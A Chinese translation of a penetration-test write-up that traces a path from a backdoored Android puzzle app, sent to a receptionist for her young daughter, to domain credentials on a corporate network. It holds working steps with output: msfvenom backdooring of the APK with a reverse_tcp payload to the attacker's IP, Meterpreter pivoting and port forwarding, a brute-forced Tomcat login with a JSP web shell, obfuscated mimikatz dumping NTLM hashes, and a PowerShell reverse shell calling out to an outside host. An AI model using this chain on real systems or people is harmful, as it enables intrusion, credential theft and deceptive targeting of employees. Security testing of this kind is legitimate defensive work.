从APK到获取到域控管理员票据(翻译文章)

获取Android手机权限到控制管理员域控权限
作者:Andrea Pierini decoder.ap@gmail.com, Giuseppe Trotta giutrotta@gmail.com
时间:2017年2月24日

前言

这边文章主要是介绍个人手机可以连接办公内网存在的风险,并且真实的产生的一些安全事件。
给企业员工智能手机安装一个病毒app并不是那么的困难,甚至可以控制到企业内部机器,提权,获取企业资料信息。

这个案例也表明了,企业的安全设备和策略,都存在被绕过的风险。

背景

“超级公司”雇佣我们,对他们员工进行社工攻击,看是否可以获取到通过攻破他们的员工获取到企业内部的资料信息。

在这场对抗中,我们只是允许连接一个客人才可以连接的Wi-Fi,这个Wi-Fi的访问权限是有限的,而且只有一天的期限。

我们一开始用户我们的iPhone手机用(Fing)对这个网络进行扫描,发现了网络有一些Android设备,判断有些员工连接到这个客人网络了,

我们用whatsapp在和前台聊天,我们发现:2台手机在桌子上,台式机桌面一张幸福的家庭照片(一个妈妈(就是前台),一个女儿,一个父亲),经过客套的聊天后发现,她有一个4岁的女儿,而且智能手机里面有一些游戏在里面给她女儿玩。

攻击过程

我们开始利用社工对他们进行钓鱼,我们发现都失败了,我们发现了企业员工都被很好地培训了,警觉意识很高,钓鱼并不是一个很好的突破口。

我们开始仅仅对前台下手,我们的目的是:邀请受害者下载为儿童准备的Android APP。我们准备了一个拼图的APP。

我们准备了邮件,里面有一个链接,用于下载app的。我们很快找到她的个人邮箱,我们还加了二维码上去。
这个app是带有Meterpreter shell的。

攻击智能手机

msf怎么给app生成后门呢?

1
2
3
4
msfvenom -x puzzle.apk \
-p android/meterpreter/reverse_tcp \
LHOST=<OUR_PUBLIC_IP> LPORT=443 \
-o /var/www/html/puzzle.apk

可以看到我这里使用了443的端口而不是80,因为我们觉得80端口会被公司的防火墙干掉。
其实这个安装的过程中,手机会提示这个app存在风险,但是我觉得前台会忽略的。

开始监听

1
2
3
4
5
6
7
8
9
msf>use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set lhost <OUR_PUBLIC_IP>
lhost => <OUR_PUBLIC_IP>
msf exploit(handler) > set lport 443
lport => 443
msf exploit(handler) > exploit -j -z
[*] Started reverse TCP handler on <OUR_PUBLIC_IP>:443

我们主要是为了长期可以访问到他们的客人Wi-Fi热点,而不用每天都在他们楼下,停个车在里面坐着。

Meterpreter控制

早上8点左右,我们发现已经连接成功了,

1
[*] Meterpreter session 1 opened (<OUR_PUBLIC_IP>:443 ->X.X.X.X:51990) at …

我们控制到了一台Android手机。我们需要确认受害者是否连接到公司的内网。但是发现不是。
没过多久,发现session断了。9点左右,session又连接上了。

1
[*] Meterpreter session 2 opened (<OUR_PUBLIC_IP>:443 ->K.K.K.K:61545) at …

这一次是公司的网络了,我们只是发现了几台智能手机,其他没什么发现。并且发现了一个其他网段的DNS 服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
meterpreter>ipconfig
…..
Interface 9
============
Name : wlan0 - wlan0
Hardware MAC : 20:6e:9c:75:94:ba
IPv4 Address : 10.118.1.13
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::226e:9cff:fe75:94ba
IPv6 Netmask : ::
…….
meterpreter > shell
Process 1 created.Channel 1 created.
getprop net.dns1
192.168.178.196

因为客人Wi-Fi的网络是10.118.1.0/24,但是DNS的服务器ip是192.168.178.196,我们配置一下路由。

1
exploit(handler) > route add 192.168.178.0 255.255.255.0 1

我们先用proxychains: ping一下网络。

1
2
3
4
5
6
7
8
9
10
11
12
msf auxiliary(socks4a) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
# Attacker <-> proxychains nmap -sn 192.168.178.0/24 <-> DNS network
Nmap scan report for 192.168.178.195
Host is up (0.15s latency).
Nmap scan report for 192.168.178.196
Host is up (0.22s latency).

我们再TCP详细扫描一下端口

1
2
3
4
5
6
7
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 192.168.178.195,196
msf auxiliary(tcp) > set RPORTS 1-1024
msf auxiliary(tcp) > run
[*] 192.168.178.195: - 192.168.178.195: 80- TCP OPEN
[*] 192.168.178.195: - 192.168.178.195: 8080- TCP OPEN
[*] 192.168.178.196: - 192.168.178.196: 53- TCP OPEN

我们猜测大致的网络是:

内网渗透

主机:192.168.178.195开启了80和8080.我们做一下端口转发,看看里面是到底什么服务

1
2
meterpreter> portfwd add -L 127.0.0.1 -l 8001 -r 192.168.178.195 -p 80
meterpreter> portfwd add -L 127.0.0.1 -l 8002 -r 192.168.178.195 -p 8080

80的服务是公司的电话联系方式,8080是一个tomcat后台,口令是弱口令,hydra几分钟就爆出来了
admin/password123456

开始上马,拿下那台服务器,我们判断是一台Windows服务器。这个war包包括

  • cmd.jsp: our web shell for interacting with cmd.exe
  • m.ps1: an obfuscated version of mimikatz.ps1 with automated bypassing anti­virus
    functionalities for grabbing passwords, hashes etc…

    成功了。我们是SYSTEM的权限.
    1
    2
    3
    4
    5
    6
    7
    8
    Command: cmd /c set
    ALLUSERSPROFILE=C:\ProgramData

    COMPUTERNAME=SRVINTRANET

    USERDOMAIN=SUPERCOMPANY
    USERNAME=SRVINTRANET$

我们发现了机器名字:SRVINTRANET。这是一个域控的机器。

1
2
3
4
5
6
7
8
9
Command: systeminfo
Host Name: SRVINTRANET
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Member Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User

1
2
3
4
5
6
Command: cmd /c nltest /dclist:supercompany
Get list of DCs in domain 'supercompany' from '\\ SRVDC1' .
srvdc1 .supercompany.local[PDC] [DS]Site: Default-First-Site-Name
srvdc2 .supercompany.local [DS]Site: Default-First-Site-Name

The command completed successfully

这个时候,那个android的设备估计都快热得烧起来了,我们需要一个稳定的shell。
我们需求是:稳定可以不被杀毒发现。我们遍使用PowerShell,希望这台机器可以连接到公网。

高了一下发现这台机器无法连接公网。。。
我们通过tomcat的shell利用我们自己混淆的mimikatz,提取密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Command: cmd /c powershell -executionpolicy bypass -f
c:\tomcat\webapps\cmd\warfiles\m.ps1
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : 0 ; 191734 (00000000:0002ecf6)
Session : Interactive from 1
User Name : Administrator
Domain : SRVINTRANET
Logon Server : SRVINTRANET
Logon Time : 2/17/2017 2:12:31 PM
SID : S-1-5-21-938204560-2839928776-2225904511-500
msv :
[00010000] CredentialKeys
* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX
* SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX
[00000003] Primary
* Username : Administrator
* Domain : SRVINTRANET
* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX
* SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX
tspkg :
wdigest :
* Username : Administrator
* Domain : SRVINTRANET
* Password : (null)
kerberos :
* Username : Administrator
* Domain : SRVINTRANET
* Password : (null)
ssp : KO
credman :
mimikatz(powershell) # exit
Bye!

我们拿到密码hash了,我们需要一台可以连接外网的机器。

1
2
3
4
5
6
7
8
9
net view
Server Name Remark
-------------------------------------------------
\\SRVDC1 Domain controller PDC
\\SRVDC2 Domain Controller
\\SRVWSUS Server WSUS
\\SRVAV Server AV
\\SRVFILE1 File Server

控制WSUS服务器

我们发现Windows Update服务器是可以连接公网的几率很大,因为下载补丁什么的都需要连公网。

NTLM hash一样可以登录机器的,并不需要明文密码的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function Invoke-r1
{
$client = New-Object Net.Sockets.TCPClient( '<OUR_PUBLIC_IP>',80 )
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}

这里说的是获取到Windows Update服务器的权限之后,也获取到了域控管理员的权限,然后查找文件服务器,然后把敏感的文件传输出来。中间需要Windows Update服务器作为跳板机,因为其他服务器无法连接公网的。

用到的脚本和技术

我自己的总结

发现渗透期间大量使用了powershell,而不是cmd的组合命令。powershell真的吊。
公司的内网隔离一定要做好。并且办公网一定要专线独立分开,保证外界的环境和企业的内部相互独立。

参考链接